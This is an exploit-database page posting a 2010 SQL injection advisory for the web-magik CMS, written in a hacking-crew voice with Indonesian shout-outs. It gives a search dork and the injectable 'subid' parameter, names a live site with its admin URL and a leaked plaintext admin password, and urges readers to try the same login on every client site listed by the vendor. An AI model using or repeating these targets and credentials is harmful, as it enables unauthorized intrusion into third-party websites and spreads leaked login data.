[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

web-magik CMS SQL Injection Vulnerability

Author
cyberlog
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-14886
Category
web applications
Date add
18-11-2010
Platform
php
=========================================
web-magik CMS SQL Injection Vulnerability
=========================================

# Vendor : http://web-magik.com/
# prices : Not Yet:P
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline  & #Bajingan [ Now Just My Bot ]
# Dork          : listings.php?subid= 
# Exploit       : [site]/listings.php?subid= [SQL Injection]
# Thanks        : GOD,r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
SarifJedul,wiro_gendenk,Letjen,ridho_bugs,Ryan_Kabrutz,aurel666,Inof,dbanie, GuA_NinOx, ant0_h@ck, marlon_inside, external_system_error.
# special to Mama Sri Rahayu, Member& Staff Sekuritonline,Inj3ct0r, H4ckb0x,JatimCr3w,ManadoCoding Friends, Bajingan Crew,
# C0li a.k.a antisecurity [ pinjem script perl-na ]
# Hiroyuki Doni thanks to create New design SO T-shirt P
# Inj3ct0r Now Brothers with Sekuritionline
####################################################
# Demo offline:
# http://localhost/listings.php?subid [SQL Injection]
# demo online :
# http://www.spichamber.com/listings.php?subid=91
# admin page : http://www.spichamber.com/admin/membership/index.php
# Result admin & passwd : admin/7458  -- this is nt Encrypt
Tips : Try Visit http://web-magik.com/clients.html & add link every site with /admin
all clients the same user and passwd to access admin :P
####################################################
We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!
Give me NOCAN Brothers
am nt hacker just Lik3 Syst3m S3curity
###################################################
# saya tidak pernah merusak atau melakukan perubahan untuk site yang dijadikan kelinci percobaan, semua ini untuk
# pembelajaran kita semua bahwa system 100% tidak sempurna, walau begitu kita berusaha untuk melakukan perbaikan2, agar kedepan system bisa lebih baik lagi
# artikel dapat disadur ulang dan akan lebih baik ditulis hak cipta penulis / penemunya :P
# segala resiko bukan menjadi tanggung jawab penulis / penemu bugs ini 
###################################################



#  0day.today [2024-11-15]  #